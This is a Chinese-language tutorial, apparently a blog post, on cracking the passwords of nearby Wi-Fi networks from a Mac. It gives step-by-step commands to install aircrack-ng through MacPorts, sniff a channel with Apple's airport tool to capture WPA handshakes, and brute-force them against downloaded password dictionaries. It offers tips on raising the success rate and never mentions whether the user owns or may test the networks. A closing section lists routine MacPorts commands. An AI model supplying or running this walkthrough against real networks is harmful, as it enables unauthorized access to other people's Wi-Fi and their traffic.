首先需要确保电脑装有 Xcode 和 MacPorts。Xcode 可以直接从 App Store 免费下载,MacPorts 的下载地址如下:
https://distfiles.macports.org/MacPorts/
MacPorts 前称 DarwinPorts,是一个软件包管理系统,用来简化 Mac OS X 系统上软件的安装。它是一个用来简化自由软件/开放源代码软件的安装的自由/开放源代码项目,与Fink和BSD类ports套件的目标和功能类似。它可以让用户在终端中简单的输入 port install 软件包名称来安装软件包,软件的下载、编译、安装以及它依赖的所有其他软件包的安装都会自动完成。
我下载的是「MacPorts-2.2.1-10.9-Mavericks.pkg」这个版本。
安装好 Macport 后,则开始安装Aircrack,打开终端输入命令:
1
|
sudo
port
install
aircrack-ng
|
等待一段时间安装,然后使用mac系统下自带的 airport 进行附近 wifi 信号的监测。
首先我们将 airport 命令引入到用户命令里,在终端输入:
1
|
sudo
ln
-s
/System/Library/PrivateFrameworks/Apple80211
.framework
/Versions/Current/Resources/airport
/usr/sbin/airport
|
然后在终端内输入如下命令,就能看到 airport 监测到的附近 wifi 信息:
1
|
airport -s
|
SSID 是 wifi名称,RSSI 是信号强度,CHANNEL 是信道。
接着挑选一个信号强的信道进行监听抓包(比如信道1),在终端输入:
1
|
sudo
airport en1 sniff 1
|
这时,会提示输入管理员密码,输入时密码是不会显示出来,输入完敲回车就开始监听抓包了。命令中的 en1 是自己电脑的网卡地址,有的电脑可能是 en0,根据自己的实际情况进行输入,查看电脑网卡地址的地方如下:
大概等待2-5分钟就可以按 command + c 组合键退出查看含有抓包的cap文件了,文件所在地址是/tmp,可以使用Finder的前往文件夹功能进入:
可以将cap文件移到我们想保存的地方,也可以不移走(重启后就没有了)。
接下来就进入关键的破解wifi密码的过程了,先在桌面建一个文件夹,取名「wifi」,将字典和cap文件都放到这个文件夹内(假设字典是01.txt,cap文件名是01.cap,在终端输入:
1
2
|
cd
~
/Desktop/wifi
aircrack-ng -w 01.txt 01.cap
|
就可以看到cap文件内的抓包情况,Encryption中(0 handshake)是抓包失败,(1 handshake)则是抓包成功。图中看到第11行抓包成功,则在「Index number of target network ?」这里输入11后敲回车:
如果cap文件内全是(0 handshake),就按 command + c 组合键退出。重新回到「sudo airport en1 sniff 1」这步进行监听抓包。抓包成功率受到 wifi 信号强弱、电脑与路由器距离远近、路由器是否正处在收发数据状态的影响。总之多试几次、监听时间适当延长些,可以大大提高成功率。
进入到破解过程界面,如图:
接下来等待破解结果就行了,中断破解过程可以直接按 command + c 组合键退出。破解过程所需时间长短受电脑硬件配置、字典体积大小的影响。如果01.txt字典破解失败,则可以换其它字典进行破解,直到破解成功。
使用一个好的字典是很重要的,一个9位的纯数字字典大概1G多,结果经过几个小时的破解,如果密码是987654321就很令人郁闷了,所以最好准备几个常用的wifi密码字典,可以大大提高成功率和节省时间。常用字典可以直接百度Google搜索下载。
我在测试这个暴力破解方法时并没成功过,估计是附近的wifi密码都太冷门,导致我准备的几个字典都没对应上。如果破解成功则会如下图所示:
祝各位好运!
引申阅读,MacPorts一些常用命令:
help – help通常用来查看某个指令的帮助说明
port help selfupdate
list – 列出当前所有的可用软件,如果想查找是否有自己想要的软件时,还是使用search指令方便一些.
port list
info – 查看一款软件的详细信息
port info flowd
variants – 在安装软件前,用这个命令查看软件是否有多个版本.再选择安装一个合适的版本.
port variants nmap
install – 安装软件命令,安装前最好使用variants命令查看是否有多个不同版本.
sudo port install nmap
clean – 删除一些编译软件时留下的临时文件.
port clean –all vile
uninstall – 卸载软件命令。如果这个软件依赖与另外的一款软件,默认不删除它依赖的软件,使用参数-f (force) 可以强行删除它依赖的软件。
port -f uninstall vile
contents – 显示软件安装后的文件列表.
port contents xorg-renderproto
installed – 列出全部或者指定的已经安装的软件.
port installed
port -v installed atlas
upgrade – 更新软件,默认一起更新它依赖的所有软件,如果想不更新它依赖的软件,使用-n 参数;默认不删除旧软件版本,只是使旧软件变成无效状态,如果想要一起删除旧软件,使用-u 参数。
port upgrade gnome
port -n upgrade gnome
更新所有的可更新软件
port upgrade outdated
更新软件同时删除旧版本软件
port -u upgrade vile